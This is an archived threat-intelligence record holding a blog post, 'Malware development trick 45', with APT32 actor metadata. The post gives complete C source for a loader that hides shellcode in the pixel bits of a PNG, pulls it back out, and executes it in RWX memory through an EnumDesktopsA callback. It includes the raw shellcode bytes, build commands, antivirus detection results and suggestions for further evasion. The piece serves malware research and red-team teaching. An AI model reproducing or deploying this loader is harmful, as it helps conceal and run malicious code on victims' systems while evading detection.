{
	"id": "000326f4-4ffb-4413-8d57-bf893eed2629",
	"created_at": "2026-04-06T00:11:12.77956Z",
	"updated_at": "2026-04-10T03:36:22.066453Z",
	"deleted_at": null,
	"sha1_hash": "1c910f396287fa1321a235131c6a6b6adc06a397",
	"title": "Malware development trick 45: hiding and extracting payload in PNGs (with cats). Simple C example.",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1603341,
	"plain_text": "Malware development trick 45: hiding and extracting payload in\r\nPNGs (with cats). Simple C example.\r\nBy cocomelonc\r\nPublished: 2025-02-24 · Archived: 2026-04-05 20:38:40 UTC\r\n5 minute read\r\n﷽\r\nHello, cybersecurity enthusiasts and white hackers!\r\nThis post is very simple but not less important. One of my students ask about very simple trick in malware\r\ndevelopment: hiding payload inside PNGs using LSB steganography.\r\nSteganography is a powerful technique used in malware development to conceal payloads inside seemingly harmless\r\nfiles. One of the most effective and stealthy methods is Least Significant Bit (LSB) Steganography, which hides data\r\ninside the LSBs of image pixel values. This allows attackers to embed payload within an image file without altering its\r\nvisual appearance.\r\npractical examplePermalink\r\nI will show a simple proof-of-concept (PoC) in pure C to hide and extract my payload from a PNG image using LSB\r\nsteganography. Finally, we will execute the extracted payload dynamically to demonstrate its stealthy execution.\r\nOk, how it works?\r\nhttps://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html\r\nPage 1 of 12\n\nFirst of all we need, embedding payload inside PNG image using LSB encoding. So, we need to replace the least\r\nsignificant bit of each pixel’s RGB values with bits from the payload. This modification is visually imperceptible:\r\n// function to hide payload inside PNG using LSB\r\nvoid hide_payload_in_png(const char* input_png, const char* output_png, unsigned char* payload, size_t payload_size)\r\n FILE* in = fopen(input_png, \"rb\");\r\n FILE* out = fopen(output_png, \"wb\");\r\n if (!in || !out) {\r\n printf(\"failed to open input/output files. :(\\n\");\r\n return;\r\n }\r\n // copy PNG header\r\n unsigned char header[PNG_HEADER_SIZE];\r\n fread(header, 1, PNG_HEADER_SIZE, in);\r\n fwrite(header, 1, PNG_HEADER_SIZE, out);\r\n // embed payload in LSB of image data\r\n size_t bit_index = 0, byte;\r\n while ((byte = fgetc(in)) != EOF) {\r\n if (bit_index / 8 \u003c payload_size) {\r\n byte = (byte \u0026 0xFE) | ((payload[bit_index / 8] \u003e\u003e (7 - (bit_index % 8))) \u0026 1);\r\n bit_index++;\r\n }\r\n fputc(byte, out);\r\n }\r\n fclose(in);\r\n fclose(out);\r\n printf(\"payload hidden inside PNG successfully: %s :)\\n\", output_png);\r\n}\r\nAt the next step we need to extract payload from PNG image: read the LSB-encoded data from the image:\r\n// function to extract payload from PNG\r\nvoid extract_payload_from_png(const char* png_file, unsigned char* extracted_payload, size_t payload_size) {\r\n FILE* in = fopen(png_file, \"rb\");\r\n if (!in) {\r\n printf(\"failed to open PNG file for extraction. :(\\n\");\r\n return;\r\n }\r\n fseek(in, PNG_HEADER_SIZE, SEEK_SET); // skip PNG header\r\n // extract payload from LSB\r\n size_t bit_index = 0, byte;\r\nhttps://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html\r\nPage 2 of 12\n\nwhile ((byte = fgetc(in)) != EOF \u0026\u0026 bit_index / 8 \u003c payload_size) {\r\n extracted_payload[bit_index / 8] |= (byte \u0026 1) \u003c\u003c (7 - (bit_index % 8));\r\n bit_index++;\r\n }\r\n fclose(in);\r\n printf(\"payload extracted from PNG successfully! :)\\n\");\r\n}\r\nthen just reconstruct the payload in memory and execute extracted payload dynamically, something like this:\r\nint main() {\r\n const char* input_png = \"cat.png\";\r\n const char* output_png = \"stego.png\";\r\n unsigned char extracted_payload[MAX_PAYLOAD_SIZE] = {0};\r\n // hide payload inside PNG\r\n hide_payload_in_png(input_png, output_png, my_payload, sizeof(my_payload));\r\n // extract payload from PNG\r\n extract_payload_from_png(output_png, extracted_payload, sizeof(my_payload));\r\n printf(\"decrypted payload: \");\r\n for (int i = 0; i \u003c sizeof(extracted_payload); i++) {\r\n printf(\"%02x \", extracted_payload[i]);\r\n }\r\n printf(\"\\n\\n\");\r\n LPVOID mem = VirtualAlloc(NULL, sizeof(extracted_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n RtlMoveMemory(mem, extracted_payload, sizeof(extracted_payload));\r\n EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);\r\n return 0;\r\n}\r\nFinally, the full source code of my PoC hack.c :\r\n/*\r\n * hack.c\r\n * hiding and extracting payload in PNGs.\r\n * Simple C example\r\n * author @cocomelonc\r\n * https://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html\r\n */\r\n#include \u003cstdio.h\u003e\r\n#include \u003cstdlib.h\u003e\r\n#include \u003cwindows.h\u003e\r\nhttps://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html\r\nPage 3 of 12\n\n// simple payload (meow-meow)\r\nunsigned char my_payload[] =\r\n \"\\xfc\\x48\\x81\\xe4\\xf0\\xff\\xff\\xff\\xe8\\xd0\\x00\\x00\\x00\\x41\"\r\n \"\\x51\\x41\\x50\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\"\r\n \"\\x3e\\x48\\x8b\\x52\\x18\\x3e\\x48\\x8b\\x52\\x20\\x3e\\x48\\x8b\\x72\"\r\n \"\\x50\\x3e\\x48\\x0f\\xb7\\x4a\\x4a\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\"\r\n \"\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\"\r\n \"\\xed\\x52\\x41\\x51\\x3e\\x48\\x8b\\x52\\x20\\x3e\\x8b\\x42\\x3c\\x48\"\r\n \"\\x01\\xd0\\x3e\\x8b\\x80\\x88\\x00\\x00\\x00\\x48\\x85\\xc0\\x74\\x6f\"\r\n \"\\x48\\x01\\xd0\\x50\\x3e\\x8b\\x48\\x18\\x3e\\x44\\x8b\\x40\\x20\\x49\"\r\n \"\\x01\\xd0\\xe3\\x5c\\x48\\xff\\xc9\\x3e\\x41\\x8b\\x34\\x88\\x48\\x01\"\r\n \"\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41\\x01\"\r\n \"\\xc1\\x38\\xe0\\x75\\xf1\\x3e\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1\"\r\n \"\\x75\\xd6\\x58\\x3e\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x3e\\x41\"\r\n \"\\x8b\\x0c\\x48\\x3e\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x3e\\x41\\x8b\"\r\n \"\\x04\\x88\\x48\\x01\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\"\r\n \"\\x41\\x59\\x41\\x5a\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\"\r\n \"\\x59\\x5a\\x3e\\x48\\x8b\\x12\\xe9\\x49\\xff\\xff\\xff\\x5d\\x49\\xc7\"\r\n \"\\xc1\\x00\\x00\\x00\\x00\\x3e\\x48\\x8d\\x95\\x1a\\x01\\x00\\x00\\x3e\"\r\n \"\\x4c\\x8d\\x85\\x25\\x01\\x00\\x00\\x48\\x31\\xc9\\x41\\xba\\x45\\x83\"\r\n \"\\x56\\x07\\xff\\xd5\\xbb\\xe0\\x1d\\x2a\\x0a\\x41\\xba\\xa6\\x95\\xbd\"\r\n \"\\x9d\\xff\\xd5\\x48\\x83\\xc4\\x28\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0\"\r\n \"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x59\\x41\\x89\\xda\\xff\"\r\n \"\\xd5\\x4d\\x65\\x6f\\x77\\x2d\\x6d\\x65\\x6f\\x77\\x21\\x00\\x3d\\x5e\"\r\n \"\\x2e\\x2e\\x5e\\x3d\\x00\";\r\n#define PNG_HEADER_SIZE 8\r\n#define MAX_PAYLOAD_SIZE 1024 // max payload size to embed\r\n// function to hide payload inside PNG using LSB\r\nvoid hide_payload_in_png(const char* input_png, const char* output_png, unsigned char* payload, size_t payload_size)\r\n FILE* in = fopen(input_png, \"rb\");\r\n FILE* out = fopen(output_png, \"wb\");\r\n if (!in || !out) {\r\n printf(\"failed to open input/output files. :(\\n\");\r\n return;\r\n }\r\n // copy PNG header\r\n unsigned char header[PNG_HEADER_SIZE];\r\n fread(header, 1, PNG_HEADER_SIZE, in);\r\n fwrite(header, 1, PNG_HEADER_SIZE, out);\r\n // embed payload in LSB of image data\r\n size_t bit_index = 0, byte;\r\n while ((byte = fgetc(in)) != EOF) {\r\n if (bit_index / 8 \u003c payload_size) {\r\nhttps://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html\r\nPage 4 of 12\n\nbyte = (byte \u0026 0xFE) | ((payload[bit_index / 8] \u003e\u003e (7 - (bit_index % 8))) \u0026 1);\r\n bit_index++;\r\n }\r\n fputc(byte, out);\r\n }\r\n fclose(in);\r\n fclose(out);\r\n printf(\"payload hidden inside PNG successfully: %s :)\\n\", output_png);\r\n}\r\n// function to extract payload from PNG\r\nvoid extract_payload_from_png(const char* png_file, unsigned char* extracted_payload, size_t payload_size) {\r\n FILE* in = fopen(png_file, \"rb\");\r\n if (!in) {\r\n printf(\"failed to open PNG file for extraction. :(\\n\");\r\n return;\r\n }\r\n fseek(in, PNG_HEADER_SIZE, SEEK_SET); // skip PNG header\r\n // extract payload from LSB\r\n size_t bit_index = 0, byte;\r\n while ((byte = fgetc(in)) != EOF \u0026\u0026 bit_index / 8 \u003c payload_size) {\r\n extracted_payload[bit_index / 8] |= (byte \u0026 1) \u003c\u003c (7 - (bit_index % 8));\r\n bit_index++;\r\n }\r\n fclose(in);\r\n printf(\"payload extracted from PNG successfully! :)\\n\");\r\n}\r\nint main() {\r\n const char* input_png = \"cat.png\";\r\n const char* output_png = \"stego.png\";\r\n unsigned char extracted_payload[MAX_PAYLOAD_SIZE] = {0};\r\n // hide payload inside PNG\r\n// hide_payload_in_png(input_png, output_png, my_payload, sizeof(my_payload));\r\n // extract payload from PNG\r\n extract_payload_from_png(output_png, extracted_payload, sizeof(my_payload));\r\n printf(\"decrypted payload: \");\r\n for (int i = 0; i \u003c sizeof(extracted_payload); i++) {\r\n printf(\"%02x \", extracted_payload[i]);\r\n }\r\n printf(\"\\n\\n\");\r\nhttps://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html\r\nPage 5 of 12\n\nLPVOID mem = VirtualAlloc(NULL, sizeof(extracted_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n RtlMoveMemory(mem, extracted_payload, sizeof(extracted_payload));\r\n EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);\r\n return 0;\r\n}\r\nSo, as you can see, as usual just used meow-meow messagebox payload.\r\ndemoPermalink\r\nLet’s go to see everything in action: demonstrate its stealthy behavior.\r\nMy cat PNG image for experiments:\r\nFor checking correctness, at the first step compile our malware for linux (comment all Windows functions and\r\n#include \u003cwindows.h\u003e ):\r\ngcc -o hack hack.c\r\nhttps://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html\r\nPage 6 of 12\n\nok, run it on my Linux machine:\r\n./hack\r\nAs you can see, hiding and extracting worked perfectly =^..^=!\r\nThen return to my Windows code with executing payload logic and compile it:\r\nx86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -W\r\nhttps://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html\r\nPage 7 of 12\n\nThen run it on my “victim”’s Windows 11 x64 VM machine:\r\n.\\hack.exe\r\nhttps://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html\r\nPage 8 of 12\n\nAs you can see, everything is worked perfectly! =^..^=\r\nCalculating Shannon entropy:\r\npython3 entropy.py -f hack.exe\r\nhttps://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html\r\nPage 9 of 12\n\nOur payload in the .text section.\r\nUpload to VirusTotal:\r\npython3 vtscan.py -m ./hack.exe\r\nhttps://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html\r\nPage 10 of 12\n\nhttps://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html\r\nPage 11 of 12\n\nhttps://www.virustotal.com/gui/file/9fc7172f1a7cb0e23eeab7004798f46383252398cde1db95d31d5100f92b3236/detection\r\nSo, 22 of of 72 AV engines detect our file as malicious.\r\nWhy this is powerful? Of course it’s a simple “dirty” Proof of Concept, but as you can see it works:\r\nstealthy payload hiding - no direct payload storage, avoids static detection.\r\nbypasses simple signature-based detection - payload is embedded in an image file.\r\ncompletely pure C - no external libraries required!\r\nfoundation for more advanced steganography-based malware!\r\nOk, but how to improve this technique? To make this method even stealthier, we can use a real image encoder/decoder\r\n( libpng , stb_image ) instead of raw LSB encoding or encrypt the meow-meow payload before embedding.\r\nSeveral APT groups and cybercriminal organizations like OceanLotus(APT32) and malware like DuQu or\r\nStegoLoader have employed steganography, particularly embedding malicious code within image files, to conceal\r\ntheir activities and evade detection.\r\nI hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of this\r\ninteresting steganography technique, and adds a weapon to the red teamers arsenal.\r\nMalware development trick: part 44\r\nMalware analysis 4: Work with VirusTotal API v3. Create own python script.\r\nOceanLotus(APT32)\r\nDuQu\r\nStegoLoader\r\nsource code in github\r\nThis is a practical case for educational purposes only.\r\nThanks for your time happy hacking and good bye!\r\nPS. All drawings and screenshots are mine\r\nSource: https://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html\r\nhttps://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html\r\nPage 12 of 12",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html"
	],
	"report_names": [
		"malware-tricks-45.html"
	],
	"threat_actors": [
		{
			"id": "af509bbb-8d18-4903-a9bd-9e94099c6b30",
			"created_at": "2023-01-06T13:46:38.585525Z",
			"updated_at": "2026-04-10T02:00:03.030833Z",
			"deleted_at": null,
			"main_name": "APT32",
			"aliases": [
				"OceanLotus",
				"ATK17",
				"G0050",
				"APT-C-00",
				"APT-32",
				"Canvas Cyclone",
				"SeaLotus",
				"Ocean Buffalo",
				"OceanLotus Group",
				"Cobalt Kitty",
				"Sea Lotus",
				"APT 32",
				"POND LOACH",
				"TIN WOODLAWN",
				"Ocean Lotus"
			],
			"source_name": "MISPGALAXY:APT32",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "870f6f62-84f5-48ca-a18e-cf2902cd6924",
			"created_at": "2022-10-25T15:50:23.303818Z",
			"updated_at": "2026-04-10T02:00:05.301184Z",
			"deleted_at": null,
			"main_name": "APT32",
			"aliases": [
				"APT32",
				"SeaLotus",
				"OceanLotus",
				"APT-C-00",
				"Canvas Cyclone"
			],
			"source_name": "MITRE:APT32",
			"tools": [
				"Mimikatz",
				"ipconfig",
				"Kerrdown",
				"Cobalt Strike",
				"SOUNDBITE",
				"OSX_OCEANLOTUS.D",
				"KOMPROGO",
				"netsh",
				"RotaJakiro",
				"PHOREAL",
				"Arp",
				"Denis",
				"Goopy"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "5da6b5fd-1955-412a-81aa-069fb50b6e31",
			"created_at": "2025-08-07T02:03:25.116085Z",
			"updated_at": "2026-04-10T02:00:03.668978Z",
			"deleted_at": null,
			"main_name": "TIN WOODLAWN",
			"aliases": [
				"APT32 ",
				"Cobalt Kitty",
				"OceanLotus",
				"WOODLAWN "
			],
			"source_name": "Secureworks:TIN WOODLAWN",
			"tools": [
				"Cobalt Strike",
				"Denis",
				"Goopy",
				"JEShell",
				"KerrDown",
				"Mimikatz",
				"Ratsnif",
				"Remy",
				"Rizzo",
				"RolandRAT"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "2439ad53-39cc-4fff-8fdf-4028d65803c0",
			"created_at": "2022-10-25T16:07:23.353204Z",
			"updated_at": "2026-04-10T02:00:04.55407Z",
			"deleted_at": null,
			"main_name": "APT 32",
			"aliases": [
				"APT 32",
				"APT-C-00",
				"APT-LY-100",
				"ATK 17",
				"G0050",
				"Lotus Bane",
				"Ocean Buffalo",
				"OceanLotus",
				"Operation Cobalt Kitty",
				"Operation PhantomLance",
				"Pond Loach",
				"SeaLotus",
				"SectorF01",
				"Tin Woodlawn"
			],
			"source_name": "ETDA:APT 32",
			"tools": [
				"Agentemis",
				"Android.Backdoor.736.origin",
				"AtNow",
				"Backdoor.MacOS.OCEANLOTUS.F",
				"BadCake",
				"CACTUSTORCH",
				"CamCapture Plugin",
				"CinaRAT",
				"Cobalt Strike",
				"CobaltStrike",
				"Cuegoe",
				"DKMC",
				"Denis",
				"Goopy",
				"HiddenLotus",
				"KOMPROGO",
				"KerrDown",
				"METALJACK",
				"MSFvenom",
				"Mimikatz",
				"Nishang",
				"OSX_OCEANLOTUS.D",
				"OceanLotus",
				"PHOREAL",
				"PWNDROID1",
				"PhantomLance",
				"PowerSploit",
				"Quasar RAT",
				"QuasarRAT",
				"RatSnif",
				"Remy",
				"Remy RAT",
				"Rizzo",
				"Roland",
				"Roland RAT",
				"SOUNDBITE",
				"Salgorea",
				"Splinter RAT",
				"Terracotta VPN",
				"Yggdrasil",
				"cobeacon",
				"denesRAT",
				"fingerprintjs2"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434272,
	"ts_updated_at": 1775792182,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/1c910f396287fa1321a235131c6a6b6adc06a397.pdf",
		"text": "https://archive.orkl.eu/1c910f396287fa1321a235131c6a6b6adc06a397.txt",
		"img": "https://archive.orkl.eu/1c910f396287fa1321a235131c6a6b6adc06a397.jpg"
	}
}